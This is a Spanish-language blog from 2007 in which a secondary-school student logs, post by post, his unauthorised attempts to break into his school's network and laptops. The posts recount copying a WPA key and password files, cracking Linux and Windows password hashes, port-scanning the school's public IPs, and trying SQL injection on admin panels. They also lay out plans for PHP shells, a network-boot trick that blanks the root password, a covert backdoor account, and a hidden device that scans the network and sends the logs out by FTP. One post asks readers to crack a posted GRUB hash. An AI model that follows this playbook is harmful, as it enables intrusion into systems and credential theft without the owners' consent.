Tras ejecutar nuevamente x0scan, la función main busca host a través de dns en el mismo rango de ips que los servidores, quizas los routers o algo tengan nombres. Luego busca hosts vivos a traves de pings arp, he elegido pings arp porque puede ser que los pings icmp estén bloqueados por algún firewall.

Nmap guarda también las rutas que usa, me valdrá para conocer la ip de un router. También ejecuta 3 traceroutes, a c0 a f0 y a google.es (he puesto la ip por si me falla el dns), confío en que me valga para trazar un mapa aproximado de la red, que espero ir perfeccionando según tenga los datos.

Pero esto todavía no ha acabado, ahora toca intentar una transferencia de zona dns. Este proceso se hace cuando un servidor dns secundario pide al primario toda la información que tenga sobre un dominio para así actualizarse, pero a veces no esta restringido a ese servidor secundario y cualquiera puede hacerlo, así que también voy a intentar esto.

Por último y por simple seguridad, para tener un backup, se crea un tar.gz con todos los logs y lo envía por ftp a mi cuenta en el servidor de 1and1.es. Obviamente no usaré mi usario normal, he creado uno especial para la ocasión con acceso a un directorio determinado en el que no hay nada, protegido de acceso http y al que cambiaré la contraseña (no me he complicado con ella, es un solo uso...). Todo esto es por si a los del CGA les da por poner un sniffer que es muy fácil coger el password... Pensé en hacerlo con scp o con sftp, pero no, porque no se como pasarle el password de forma automática.

La idea inicial también incluía snifar un poco, pero al final no lo voy a hacer en esta primera conexión, ya pensaré cuando y como lo hago.

Ah! y otra cosa que se me pasó decir antes, también apunta la hora a la que empieza y la hora a la que acaba, que aunque la fonera no esté en hora sirve para saber cuanto tiempo tarda en completarse todo. Probándolo en mi red tarda unos 20-25 minutos, por lo que las pilas deberían aguantar sobradamente.

Por último esta es una idea de última hora que se me ha ocurrido, podría también aprender a controlar el diodo led de la fonera el de network o el de wlan (que esta en desuso) para que con algún código me diera a entender lo que hacía, por ejemplo si esta conectada a la red wifi y el script esta en funcionamiento que este 5 segundos encendida, se apague, otros 5 segundos, se apague, etc. Esta idea se me acaba de ocurrir ahora mismo, pero no se como de fácil/difícil será, de todas formas no es necesario.

PD: Algunos datos los he cambiado en el script, por ejemplo, mi usuario y contraseña del ftp

PD2: No se se si es del todo buena idea ponerlo porque puede ser que ahora en el CGA preparen algo para que no me funcione, de todas formas no importa, sea como sea será bueno, si todo va bien conseguiré los datos. Si hay algun firewall estricto o algo parecido pues tendré que agudizar el ingenio y utilizar otras técnicas :)

jueves, junio 28, 2007

Ideas nuevas para la fonera

Bueno tanta playa y tantas quedadas no me están dejando mucho tiempo para mis cosas de geek, pero bueno ahora tengo un rato para contaros lo que se me ocurrió ayer para la fonera. Bueno además de lo que ya os comenté en su día, se me ha ocurrido otra idea, se trata de ponerla en modo cliente, que se conecte a la red wifi de mi instituto, y luego ejecute un pequeño script, con comandos que me ofrezcan resultados interesantes... tipo nmap, traceroute... y todos los resultados los guarde en log en texto plano, una vez haya acabado esas cosas que utilice todo el espacio libre que quede para snifar la red y guardar todos los datos, pero esto lo último, ya que sino se quedaría sin espacio muy rápidamente.

La ventaja de este proceso con respecto al otro (montar un server y quitar el password de root) es sencilla, en la fonera tengo permisos de root y puedo ejecutar lo que quiera, además no sería llamativo ni nada, simplemente llevo la fonera en la mochila con su fontenna (para asegurarme de que va a tener cobertura para conectarse y también porque veo la fontenna mas robusta que una antena omnidireccional, cuando este listo (en cualquier momento) le conecto sus pilas y a funcionar luego la dejo hasta que se agoten las pilas (que según he leído aguanta bastante, me parece que mas de dos horas).

Un detalle a tener en cuenta es que la red wifi está cifrada con wpa, pero otro detalle es que yo tengo la clave :D Si, el archivo /etc/wpa_supplicant.conf tenía permisos de lectura para cualquiera, así que por si acaso me hiciera falta algún día lo copié, aunque realmente realmente nunca pensé que me fuera a ser útil, pero ahora con mi nuevo plan para la fonera si que me alegro de tener el archivo :)

Bueno además de esto se me ha ocurrido hacer mi propio firmware o por lo menos flashearla y ponerle otro que me ofrezca mas posibilidades que el de fon. Pero a esto hay que añadir que no quiero perder la funcionalidad de fon, es decir compartiendo wifi o no, quiero que en fon no me baneen por dejar la fonera mas de 30 días desconectada. Para eso hay varias soluciones:

-Averiguar que archivos/scripts son los que notifican a fon de que la fonera esta encendida y funcionando.
-Averiguar que datos envía a fon
-Crear/encontrar un "emulador de fonera" y darle el contenido que tiene la fonera para que el solito ejecute las cosas y le envié a fon los datos adecuados.

Vamos por partes, las tres opciones son interesantes, pero no todas son igual de fáciles/cómodas, veamoslas una por una:

La primera no aparenta mucha dificultad se puede hacer de dos formas, una buscando en todos los archivos de la fonera, o bien hacerlo buscando en el código fuente, quizás en el código sea mas fácil si han puesto comentarios, documentado... si no, será mas fácil mirar en la propia fonera.

La segunda opción no presenta muchas dificultades, simplemente se trata de poner el server a snifar y luego conectar la fonera y que apunte bien todo lo que pase.

Por último sería buscar un emulador del procesador de la fonera (mips), o un emulador de la propia fonera, pero yo solo he encontrado lo primero (mediante apt), el paquete se llama spim pero esta opción la veo muy complicada, haré alguna de las anteriores seguramente...

...Si hago alguna de ellas, porque existe un script para dd-wrt (uno de los firmwares que funcionan en la fonera) que hace justo lo que yo quiero, conectarse a fon y hacer las cosas necesarias, quizá leyendo este script se aclare todo un poco mas, lo he encontrado gracias al foro de fonera.info, en este topic y aquí la web con el script e instrucciones: La Fonera Software Heartbeat.

A lo mejor simplemente flasheo y le pongo dd-wrt u openwrt, ya os contaré según vaya haciendo cosas.

Por último una cosa mas sobre la fonera, al final después de mi último post sobre ella, hice un poco de compilación cruzada y porté airckrack-ng a la fonera, sin embargo no lo he usado, creo que de eso me voy a olvidar por ahora y solo me voy a dedicar a lo que os comento en este post y a preparar también el server de network boot (por llamarlo de alguna manera), que es el otro proyecto para la fonera.

PD: Otra opción es portar el script para dd-wrt y que funcione en mi server...

lunes, junio 25, 2007

Idea para el centro TIC

Tras una intensa mañana de playa estoy aquí para contaros una nueva idea que ronda por mi cabeza para conseguir ser root en una laptop. Os comento mi plan, el único material necesario sería una fonera y un cable de red ethernet, así de fácil. La parte del software tampoco debería presentar muchas complicaciones. Las laptops tienen network boot (arranque por red) por lo que mi plan sería que la fonera actuara de servidor y que la laptop arrancara con los datos que la fonera sirviera, la clave del plan es que se ejecutaría un script que se encargaría de hacer un backup de /etc/shadow a /etc/shadow.bak y luego quitara el password de root. Una vez acabado el proceso un reboot, arranco guadalinex normal, me logueo como root en un terminal, apt-get install nmap ettercap traceroute... y después a analizar la red :D

Yo el plan lo veo todo bien menos un detallito, que a partir de ese momento o cojo siempre la misma laptop o tengo que hacerlo cada vez que usemos los ordenadores. En teoría debería coger siempre el mismo portáti, de hecho hay un papel donde tiene que estar apuntado que portátil coge cada uno y siempre se debe coger ese. El problema es que no siempre cogemos laptops del mismo carro y además aunque sean del mismo en cada hora hacemos una cosa, los reparten segun estemos sentados, cada vez en un orden diferente (una vez empiezan por el final de la clase, otra vez por el principio..), en fin que es difícil coger siempre el mismo equipo.

Tengo dos soluciones, la primera es hacer el proceso en cada ordenador que coja y cuando acabe con el restaurar el /etc/shadow, para no dejar un portátil con la cuenta de root a disposición de cualquiera. La otra solución sería hacerlo una sola vez, no restaurar el /etc/shadow, anotar el nombre del host en cuestión e instalarle un servidor ssh, hecho esto cada vez que cogieramos ordenadores de ese carro podría conectarme como root por ssh a esa maquina. Esto se puede mejorar restaurando el /etc/shadow y creando una nueva cuenta con permisos de root (y con pass) que sería a la que me conectaría por ssh, y con esto evitaría que cualquiera pudiera tener permisos de root en la maquina, que gente con malas intenciones por ahí fuera.

Bueno todavía no he decidido el plan final, pero en cualquier caso el montaje que tengo que hacer en la fonera será el mismo, así que voy a investigar y a prepararlo todo.

jueves, junio 21, 2007

Novedades con el centro tic

Bueno en estos últimos días no he podido escribir nada, ya que no he tenido apenas tiempo. Así que ahora, ya acabado el curso, voy a contaros como a quedado la situación con respecto al centro tic.

A ver os cuento, en mi instituto ahora mismo los ordenadores los podemos dividir en tres partes:

-Aula de informática 1: es de hace dos años, y tiene 16 ordenadores, todos tienen arranque dual, windows xp y guadalinex.

-Aula de informática 2: esta es mas antigua y tiene unos 12 pcs, que hasta el año pasado solo tenían windows xp. Este año ya le han instalado guadalinex a todos y tienen arranque dual.

-Los portátiles de la dotación TIC, que como ya sabéis solo tienen guadalinex.

He comprobado que los portátiles y los sobremesas de las aulas de informática funcionan en redes distintas, y tienen distintas conexiones a internet. También he intentado crackear el password de grub, sin resultado tras 16 horas con el portátil a toda maquina, con un core 2 duo a 1.60 GHz cada núcleo, en vista de que no ha podido ser crackeada en tanto tiempo y con un ordenador ciertamente potente, pues desisto, no voy a dejar el portátil todo el verano crackeando, así que nada, replantearé mi estrategia a ver si se me ocurre algo.

Respecto a la dotación TIC hay varias cosas que comentar, lo primero es que he comprobado que no arrancan por usb, de hecho intenté hacerlo, pero no hubo manera. Otra cosa de la que me he dado cuenta ahora, repasando el /etc/passwd de uno de ellos he visto esto:

root:*:0:0:root:/root:/bin/bash

La cuenta root está deshabilitada, WTF!! entonces cual es el usuario que lleva a cabo las tareas administrativas? los demás usuarios son estos: daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody, dhcp, syslog, klog, usuario, sshd, messagebus, hal, dictd, gdm y cupsys. Aquí pueden pasar dos cosas, una que alguno de esos usuarios tuviera privilegios de root, que la verdad lo descarto por los nombres y por los uids de cada uno de ellos. La otra opción sería que fuera mediante sudo, pero en el caso de que sea así el procedimiento sería el siguiente: ejecutar sudo cualquier comando, luego te pediría el password de tu user y en caso de ser correcto ejecutaría el comando con los permisos pertinentes. El caso es que yo ya he probado a ejecutar algún comando mediante sudo y el password de mi usuario (bueno el mio no, el general: usuario) pero no ha funcionado, no se si es posible tener dos contraseñas distintas para esto, una para el login y otra para sudo, investigare el tema. Por último, otra cosa que me ha llamado la atención y es que entre otros grupos, el usuario usuario pertenece al grupo adm, que no se pero a mi me suena a admin, administration o cosas así, tendré que investigar la función de ese grupo. Otro detalle es que ningún usuario pertenece al grupo root. Revisaré este tema mas despacio a ver que se me ocurre.

De la dotación tic no se nada mas, sin embargo antes de acabar el curso he hecho algunas cosas mas esta semana, pero respecto a las aulas de informática. Voy a empezar por el principio, esta última semana los días de informática era para hacer recuperaciones (que también hay que tener c*j*n*s para suspender un examen de ofimática...) el lunes como yo no tenía que recuperar nada estuve repasando matemáticas esa hora, ese día no hice nada. Sin embargo, esa misma tarde guarde un programilla en un pendrive (el mismo que tantos datos sobre el centro tic ha guardado), el programa era Explore2fs, que sirve para leer (y no se si escribir) particiones ext2 y ext3. Al día siguiente, el martes, en el aula de informática 1 nuevamente (la que se usa para dar clases de informática, la otra es para cualquier otra cosa, p.e.: hacer un trabajo, una hora libre, buscar algo, hacer actividades...), bueno el caso es que en esta ocasión arranco windows, conecto el pendrive, y ejecuto el programa... me dice que necesito permisos de administrador para que el programa funcione correctamente. No hay problema, yo tengo el archivo sam y el system de los pcs de este aula desde hace 2 años y todavía no han cambiado los passwords, o por lo menos no el de administrador que simplemente no tiene password. Así que nada, entro como administrador, ejecuto el programa y solo copié el archivo /etc/shadow, realmente debería haber copiado mas cosas, pero bueno, con ese me servía para saber el password, así que nada, lo copio y apago el ordenador, porque esto lo hice al final de la hora, el resto del tiempo estuve repasando para otro examen de matemáticas.

Llegué a mi casa por la tarde y mientras hacía un trabajo de sociales puse el john a funcionar, en tres horas obtuve las dos passwords que me interesaban, la de root, que no se si esta habilitado o no, pero yo por si acaso crackeé su hash, y también había una cuenta sospechosa: root1, también crackeé el password.

Luego el miércoles como teníamos algunas horas libres en una de ellas estuvimos en el aula de informática 2, para hacer lo que nos diera la gana, primero arranque windows con intención de obtener también el passwd y shadow del guadalinex instalado en estos ordenadores, porque al ser instalaciones de años distintos quizás no coincidiera el password, pero cual fue mi sorpresa al comprobar que aquí no podía correr el explore2fs, porque el usuario administrador tenía password, lástima que no llevaba el cia commander encima, no contaba con esto. Bueno antes de reiniciar para entrar en gaudalinex entre en internet mi mire la ip externa de estos pcs, es una distinta a la que tienen los portátiles, concretamente la misma que tenía el instituto antes de pasar a ser tic, por lo que deduzco que la otra aula de informática también tiene la misma conexión de los años anteriores.

Luego reinicié y entre en guadalinex y copie el sam y el system para averiguar luego en mi casa cual era ese password que habían puesto. Todavía no lo he crackeado, pero eso es cuestión de minutos usando ophcrack. Lo que si que hice también fue comprobar si las passwords del guadalinex del aula 1 servían en el aula 2, no, no sirvieron.

Bueno realmente no recuerdo nada mas, creo que ya está todo, de todas formas para elaborar hipótesis y demás no necesito los ordenadores, seguiré pensando para aclarar dudas.

Saludos ;-)

lunes, junio 18, 2007

Plataforma educativa helvia

Con ese nombre es como se conoce a la aplicación web que la Junta ha desarrollado invirtiendo mucho tiempo y mucho dinero para que esto de los centros TIC sirva para algo mas que para que los alumnos vean vídeos de youtube en las horas libres. Esta aplicación que creo que es un desarrollo propio, o por lo menos un desarrollo a medida (y en cualquiera de los dos casos vale mucho dinero), en teoría tiene muchas funcionalidades, y en la práctica también pero no las usa nadie, tiene correo interno, tablón de anuncios, "blogs", lugares para poner las notas, para poner tareas, explicaciones, temas de clase... en fin, tantas cosas que si cada profesor lo usara ni siquiera sería necesario que fuéramos al instituto. Si alguien quiere mas detalles puede ver esto: helvia ahí viene todo perfectamente explicado, con manuales de administración, para el profesor, para el alumno, introducción, usos, de todo, sin embargo a pesar de ser una aplicación perfecta (sin analizarla a nivel técnico) y muy bien documentada y todo perfectamente montado... simplemente no se usa, de todas las funcionalidades que tiene la única que hemos usado en ocasiones que se pueden contar con los dedos de una mano (y nos sobran dedos) es la del mail interno. Nadie pone ahí las tareas, ni lecciones, ni trabajos, ni nada. Si es que da gusto tirar miles de euros de esta forma, la Junta tiene toda la buena intención del mundo y teóricamente el diseño es muy bueno, pero los usuarios tienen que colaborar, y no lo hacen.

La mayoría de las cosas simplemente no se usan por inadaptación de los profesores, un hombre que lleva 20 años dando su clase todos los días en una pizarra no quiere/puede cambiar su rutina de un día para otro y poner sus lecciones en la página web, además de actualizar a diario para señalar las tareas y que todo este disponible vía web igual que si uno hubiera ido a clase. Eso es difícil el primer año, pero siquiera que hubieran puesto algo en 9 meses, es que no han puesto ni una letra, alguno hay que ni ha mirado la web.

Al margen de las clases "online" también se puede usar para mas cosas, por ejemplo para poner las notas, y mas ahora con exámenes finales, hoy por ejemplo hemos tenido un examen de matemáticas y como la recuperación del curso entero es el jueves, pues convendría que el profesor avisara cuanto antes de la nota, incluso esta misma tarde, pero claro eso no puede ser... o si? para algo esta la web del centro no? pues el profesor en vez de hacerlo ahí ha cogido, ha hecho una web con el frontpage y la ha colgado en un hosting gratuito que tiene (de ono) y ahí nos ha puesto las notas, claro es que eso es mucho mas sencillo y cómodo que usar la plataforma educativa helvia.

Otra ocasión, es con los trabajos que hacemos, hemos hecho este curso en total (de todas las asignaturas) tres o cuatro trabajos que había que entregar en formato electrónico, de ética y de sociales. El primero de ética la mayoría de la gente se lo mando usando el mail interno de la web, la mitad se "perdieron" porque el profesor no cambió su contraseña y alguien se dedicó a entrar en su cuenta y borrar lo que le pareció oportuno. El segundo trabajo de ética era un texto y una presentación, solo enviamos el trabajo a través de la web dos parejas, una y la mía, lo mandamos el día antes de la fecha de entrega y el último día de plazo para la entrega del trabajo veo que todos los demas habían imprimido el texto y habían grabado la presentación (de menos de 1Mb) en un cd y eso era lo que le iban a dar al profesor, él, al igual que los que lo enviamos por la web flipamos cuando vimos eso. Por último el trabajo de sociales, también se hace con el ordenador y con unos enlaces de referencia que la profesora dio, esta mujer en vez de cambiar su contraseña y conseguir así que todo funcione perfectamente no se le ocurre otra cosa que abrir una cuenta en gmail y decir que se lo mandemos ahí, una vez mas pasamos de la web del centro.

Así es como se coordina un centro tic, cuando van a aprender?? porque este proyecto de centros tic lleva varios años en otros centros de Andalucía, todavía no se han enterado de que lo primero que tienen que hacer es CONCIENCIAR a los profesores y alumnos (principalmente a los primeros) de como se usa, de nuevas metodologías de enseñanza y aprendizaje usando las nuevas tecnologías, un mínimo de seguridad, porque todavía la mayoría no han cambiado su contraseña, el profesor al que informe personalmente de que debía hacerlo (el de ética) y no ha hecho ni p*t* caso, siendo así el vicedirector, no se como va a salir esto adelante, porque tengo constancia de que aparte de mí el coordinador TIC de mi centro le ha dicho que tiene que cambiar su contraseña, pero no lo ha hecho, y que conste que el quiere impulsar el uso de esto, pero ni hace caso de las indicaciones que se le dicen para que esto funcione mejor ni tiene ni idea de como hacerlo, porque a la vista están los resultados del primer año.

En fin, que pueden poner todos los medios técnicos que quieran pero mientras que no eduquen a los usuarios de esas tecnologías no servirá para nada. Espero, confío y deseo que la situación cambie muy mucho para el año que viene.

domingo, junio 17, 2007

Montando f0

Como ya sabéis en el centro TIC hay un servidor f0, que es el servidor de seguridad y que en teoría sirve para (y cito de la guía para centros TIC):

Es un ordenador más potente que el resto de ordenadores de sobremesa del centro que se encarga principalmente de:
-Proteger el centro frente ataques externos.

-Guardar temporalmente las últimas páginas visitadas.

-Filtrar el contenido web.

-Servidor de nombres de dominio (DNS).

-Configuración automática de las redes del centro.

-Almacenar y servir las imágenes del sistema de instalación remota.


De ahí se deduce que tendrá un firewall y a lo mejor un IDS (Intrusion Detector System), un proxy-caché con filtro de contenidos, un servidor DNS, un servidor DHCP, y un sistema para proporcionar las imágenes almacenadas, que es un servidor ftp. Además falta una cosa que no pone en esa lista, además también es el repositorio de la red, repositorio que funciona también vía ftp.

Yo quiero montar aquí en mi red el mismo sistema que tiene f0, bueno realmente no con todos los servicios, hombre si pudiera tenerlo todo copiado bit a bit si, porque podría usarlo para buscar vulnerabilidades, pero como no puedo, me conformaré con lo de las imágenes del sistema para la instalación remota, así podre instalar ademas un sistema igual que el que tienen los portátiles que usamos, quizá sea algo útil.

La forma de crear un servidor con ese servicio es sencilla, un servidor ftp sería imprescindible, y luego un servidor dns que sería opcional, si lo usara tendría que decirle que f0 es servidor que haya creado, que sería localhost, porque el dns estaría en el mismo server que el ftp. En el caso de que no usase un servidor dns me tocaría modificar todos los scripts, y modificar la iso de instalación remota, y cambiar f0 por la ip correspondiente al servidor ftp.

Otro tema es donde montar esos servicios, podría hacerlo en mi server, pero esta opción directamente la descarto, porque ahora mismo está fuera de servicio, esta pendiente de que se le reinstale el sistema operativo, porque ahora mismo ni siquiera arranca. Otra opción sería montarlo en local en mi laptop o en el sobremesa, en cualquier caso sería en el laptop, porque es el que mas uso. Por último podría montarlo virtualizado, instalar una debian en una maquina virtual y ponerle los servicio adecuados. Voy a optar por la opción de montarlo en mi laptop, además ya empecé ayer, ya tiene instalados el servidor ftp (proftpd) y el servidor dns (bind9).

Para acabar queda saber donde instalaremos el sistema que tienen los portátiles del centro tic, porque recuerdo que todo esto es para eso. Este sistema caben dos opciones o instalarlo en una maquina real o hacerlo en una virtual. Voy a hacerlo en una virtual.

En resumen voy a montar el servidor en el laptop y en una maquina virtual instalaré guadalinex.

Ya os contaré como sigue la cosa, a ver si lo puedo montar esta mañana.

viernes, junio 15, 2007

Avances con el centro TIC

Ayer volvimos a coger los ordenadores y seguí haciendo cosillas, no hice mucho porque la profesora estaba dando vueltas mirando todos los ordenadores para comprobar que estábamos haciendo el trabajo, pero bueno si que he hecho algo y también he pensado nuevos movimientos. A parte de esto cuando termine de escribir este post contactaré con anónimo que me dejo unos comentarios en el post sobre el centro tic y que también está haciendo estas cosillas.

Estuve mirando como iba el sistema de ficheros remoto y comprobé que los servidores (tanto f0 como c0) aparecen en el archivo de configuración de ldap, pone tanto ldap://f0 como ldap://c0, no puedo dar mas detalles porque nunca he usado esta tecnología y ni la conozco mucho ni tampoco copié los ficheros de configuración, no llevaba pendrive encima.

Mas cosas, otra vez anterior copie el archivo install.cfg de ftp://f0, que es el que llama el guadalinex netinstall disponible en la web del CGA. Bueno mire ese archivo y no daba muchos datos útiles, solo me configuraba las particiones y poco mas, me parece, esto lo digo de memoria. Bueno en esta ocasión intenté copiar todo el contenido del ftp, ejecute wget -r ftp://f0 con intención de que descargara todo, pero no lo ha hecho, faltan cosas, igualmente tengo suficientes scripts y demás para estudiar como se instala el sistema operativo de forma remota, que instala, quizás le ponga contraseña... tendré que mirarme uno por uno todos esos scripts. Este archivo si lo tengo a mi disposición, porque todo lo que baje del ftp se guardo en una carpeta en el desktop, lo comprimí en tar.gz y lo subí a internet, así que si lo tengo por aquí.

También mire la ip publica que ya la había mirado el otro día para comprobar si la ip era fija o dinámica. Lo lógico es que fuera fija, pero me sorprendió ver una ip diferente, sin embargo todo se aclaro después de actualizar varias veces la web, la ip cambiaba cada vez, pero solo eran dos ips, por lo tanto la red tiene dos conexiones adsl con balanceo de carga, obviamente no voy a poner cuales son las ips. Una de ellas no se si es fija o dinámica, pero la otra creo que si es dinámica, porque el ejecutar host ip.ip.ip.ip me ha dado como resultado ip.ip.ip.ip.dyn.user.ono.com

Luego, el repositorio que utilizan las maquinas es local, quiero decir, esta en la red local, mas concretamente en el server f0: deb ftp://f0/guadalinex-cga breezy main restricted y tal y como pone ahí y como yo pude comprobar se accede a el vía ftp. Lo que voy a intentar es copiar todo el contenido del servidor ftp,
y crear mi propio repositorio y también con todos lo scripts y demás para instalar en una maquina virtual un sistema igual al que hay en el instituto a ver si sale algo útil del experimento.

Y bueno ahora mismo no me acuerdo de mas, creo que no hice nada mas, ya os contaré que mas. También a ver si contacto con anónimo porque necesito hablar con el, si estas leyendo esto email me: neobiusnet [ arroba ] gmail punto com

Saludos ;-)

[EDIT]

Acabo de scanear ambas ips y una de ellas tiene todo cerrado y la otra:

22/tcp open ssh
23/tcp open telnet
113/tcp closed auth

Vere luego que hago...

miércoles, junio 13, 2007

Problemas con hash de grub

Como ya comente tengo el archivo/boot/grub/menu.lst de un ordenador del instituto, y quiero crackear esa contraseña, ya comenté para que. Bueno tal y como leí no son hashes normales, creo que son salted hash. Podéis hacer la prueba vosotros mismos, escribir en una consola grub-md5-crypt, y ponerle una contraseña, os dará un hash. Volver a hacerlo y poner la misma contraseña, que pasa? pues que da un hash diferente, volver a hacerlo y el hash será diferente. Por lo que no sirve un cracker normal. Bueno entonces yo he pensado que quizás el ejecutable grub-md5-crypt sea un script bash, así que lo busco y está en /usr/sbin/grub-md5-crypt, me voy a ese directorio y ejecuto file grub-md5-crypt para que me diga que tipo de archivo es y tal y como supuse me suelta esto: 'Bourne shell script text executable'.

Bueno sabiendo que es un script, luego intentaré leerlo a ver si averiguo algo útil. Ahora, a estudiar, que ya llevo un retraso de cuarenta minutos en mi horario mental de estudios, es lo que tiene procrastinar, uno empieza pensando voy a meter el hash en un cracker online, luego piensa voy a comprobar si son salted hash, luego piensa voy a contarlo en mi blog y luego ya han pasado 40 minutos. Ahora si, me voy a estudiar.

martes, junio 12, 2007

Analizando el centro TIC

Hoy a primera hora ha faltado la profesora de lengua, y como tenemos que hacer un trabajo de sociales por parejas en los ordenadores, la de sociales nos dijo que nos iba a dar los ordenadores para que siguiéramos haciendo el trabajo, algunos de la clase cuando se enteraron de que la de lengua no vino se fueron, con intención de entrar a segunda hora, yo opté por quedarme para analizar la red del instituto, como mi pareja se fue tenía el ordenador para hacer lo que yo quisiera.

Por supuesto tenía mi pendrive encima para copiar lo que fuera necesario, lo primero que copié fue el archivo de configuración de grub, para luego intentar crackear la contraseña y confiar en que esa password coincida con la de root y a su vez dicha password de root sea común para todos los PCs de la red, así como con la de los servidores, porque esto lo manejan desde Sevilla, y no creo que tengan una contraseña para cada PC de todos los que han distribuido por Andalucía.

También apunté las direcciones ip internas de los 2 servidores que hay en la red, f0 y c0, servidor de seguridad y servidor de contenidos respectivamente es como los llama la Junta de Andalucía, gracias a esto también descubro que el servidor f0 es el DNS de la red, también me llamo la atención el curioso nombre que reciben dentro de la red, tenían toda la pinta de ser accesible desde internet, no os quiero poner la dirección entera porque si lo hago podéis averiguar a que instituto voy y después es fácil averiguar quien soy, y prefiero mantener mi anonimato y un mínimo de privacidad. Bueno esos dos nombres también los apunté, uno de los motivos que me llevo a pensar que sería accesible desde el exterior es que el final de nombre de ambos servidores era junta-andalucia.es. Posteriormente he comprobado que esa hipótesis es falsa, no son accesibles desde internet, o al menos no usando esos nombres.

Mas cosas, yo también sabía que desde un navegador se pueden ver las estadísticas de ambos servidores, por lo que las mire, las URLs son simples, f0/munin y c0/munin, miro las estadísticas de ambos servidores y solo veo que se usan poco, el centro TIC no tiene mucha actividad, también mirando con mas detenimiento quizás hubiera sacado algo de información sobre el hardware, pero eso no lo mire, eran demasiadas estadísticas y no iba a estar mucho tiempo con eso. Sin embargo ahora que lo pienso debí haber guardado las paginas html de las estadísticas de ambos servidores para analizarlo con detenimiento aquí en mi casa.

También probé a conectarme por ssh a ambos sistemas usando el usuario por defecto de guadalinex, 'usuario' con su fuerte contraseña 'usuario'. No sirvió para nada. También apunte la ip externa del instituto, para hacerle un scaneo de puerto desde mi casa a ver si tiene algún servicio accesible desde el exterior. Acabo de hacerle un scaneo ahora mismo y dice que tiene abiertos el 23 y el 80, telnet y http, que según acabo de ver, para la conexión http hay que autenticarse y por telnet... tampoco funciona, pide user y pass y no sirve nada de lo que he probado.

También tras una intensa búsqueda de documentación oficial sobre los centros tic (esto lo hice el domingo en mi casa), averigüé que la url para acceder al filtro de contenido era f0/app/filtrodecontenido, lo pongo en el firefox y me pide user y pass, tampoco logré entrar, y a primera vista no era vulnerable a los ataques mas sencillos de sql injection, luego habría que probar también haciéndolo con los códigos ascii de cada carácter, pero eso no lo probé.

También entré a la interfaz web de administración de los usuarios en el servidor de contenidos, porque aparte de los usuario locales del ordenador (realmente el único útil es usuario), han montado en el servidor un sistema de ficheros remoto, de forma que cada uno tiene un user y un password propio (cada alumno y cada profesor) y en la pantalla de login de Guadalinex cada uno se logea con su user/pass propio, esto se envía al server, se verifica, y luego se envía los datos de cada usuario, es un sistema de archivos remoto, cada user tiene un /home remoto en el servidor, excepto usuario, ese es un usuario local en cada ordenador y no hace falta network para loguearse, yo por supuesto todas mis investigaciones las hago desde el user usuario, no voy a entrar desde mi propio usuario. Bueno lo que os decía, estos usuarios remotos son lo que se administran desde esa web en el servidor c0/gesuser, pero, por supuesto, hacía falta user/pass y no pude entrar tampoco, y si también probe sql injection no me sirvió, ahora pensándolo en frío y con detenimiento me he dado cuenta de que podría haber probado xss y rfi, para el próximo día dejaré preparadas un par de shells php, por si acaso funcionara el rfi.

Por último el domingo en mi casa me pase por la sección de descargas del CGA (Centro de Gestión Avanzada) , que es quien lleva todo el tema, y me descargue la iso de guadalinex remote install. Que es para instalación en red, y es la imagen que usan en los centros tic para instalar vía red el sistema, se arranca el sistema con esa imagen y con el portátil conectado al server y luego desde el server se envía todo lo necesario para la instalación del sistema completo. Me pareció útil para obtener algún dato del server y sobre como se obtenían los datos, también me resulto atractivo porque si consigo los datos que se usan para dejar los portátiles listos para ser usados con su guadalinex completo, podría obtener el /etc/shadow o algo sobre el sistema que me diera información sobre root. Bueno monte la imagen en /mnt, con mout -o loop -t iso9660 instalacion_remota.iso /mnt y listo, me voy a /mnt y miro por allí a ver que hay, leo el syslinux.cfg y veo que se conecta via ftp al server f0 y obtiene el fichero install.cfg, bien ya sabemos algo más, el server f0 tiene un servidor ftp, ya hoy, en el instituto, me conecto por por ftp a f0, pongo en firefox ftp://f0 y me por lo que veo parece un servidor apt, miro y efectivamente era un servidor de paquetes, ademas miro también el /etc/apt/sources.list para confirmar que es el servidor que utilizan los PCs del centro, y efectivamente, este es el único repositorio que tienen: deb ftp://f0/guadalinex-cga breezy main restricted, miro también que paquetes hay a ver si hay alguno que me pueda ser útil, por ejemplo, nmap, no, no estaba, bueno vuelvo a atrás y miro los archivos que había por allí, el que mas importante me pareció fue el install.cfg, que por supuesto lo copié, todavía no lo he analizado, es un poco largo, pero creo que describe perfectamente el proceso de instalación, ya lo miraré despacio.

Eso es todo lo que hecho. Voy a ver si crackeo el pass de grub a ver que pasa. Otra cosa, tengo que comprobar si tengo permisos de escritura sobre /boot/grub/menu.lst, de ser así borro la línea del password, reinicio, edito, entro como root copio el archivo /etc/shadow y crackeo directamente el pass de root, pero bueno de todas formas creo que la cosa va bien, si alguien tiene una buena rainbow table que haga el favor de mirarme este hash: $1$RTEFc1$TtQvImnmXq/wDQaQyN7Ec1

De todas formas creo que grub usa salted hash así que no se como va a salir la cosa, luego seguiré pensando, ahora tengo que empezar a estudiar que ya me he pasado la hora que tenía prevista, que aunque parezca mentira en preparar un post se tarda bastante mas de lo que parece.

Saludos ;-)

PD: Todavía no he montado lo del disco duro, ahora voy a estudiar, a ver si luego hago algo.

lunes, junio 11, 2007

¿Fomento del software libre?

Los PCs que nos ha puesto la Junta este año por ser centro TIC tienen guadalinex, y los de las dos aulas de informática también, la Junta lo está haciendo bien, pero claro los profesores del instituto ponen windows donde les parece oportuno ponerlo, pasándose por los c*j*n*s lo que quiere hacer junta, si como lo digo, ya os dije hace tiempo que los viejos pcs que hay en la biblioteca les pusieron windows 95 o windows 98, no me acuerdo bien, pero lo de hoy no hay derecho.

El profesor de ética nos ha mandado hacer un trabajo por parejas y nos ha dado un tema a cada pareja, y ademas había que preparar una presentación para exponer el tema al resto de la clase, y darles un examen, y corregirlo, vamos como si fuéramos profesor por un día. Bien entonces yo el trabajo lo hice usando software libre por supuesto, openoffice sobre ubuntu. Hago la redacción, el examen y preparo la presentación con OO Impress, me queda todo perfectamente listo para ser expuesto, se lo mando al profesor a través de la página web, lo corrige y dice que neobius y su pareja van a exponer el 12 de junio, vale bien. Yo pienso que estaba todo correcto que solo tenía que reparsarmelo un poquito el día antes y revisar la presentación, lo hago hoy y de repente me acuerdo de un detallito curioso. Las exposiciones son en el salón de actos, que hay un proyector y un ordenador conectado a este y las cosas de proyectan sobre una pared bastante grande, en otras ocasiones lo hemos usado para ver películas y demás. Bueno, aquí pasando de las preferencias de la Junta de Andalucía, ese pc que hace las veces de media center, corre Windows XP, y por supuesto no tiene openoffice, ellos, como no podría ser de otro 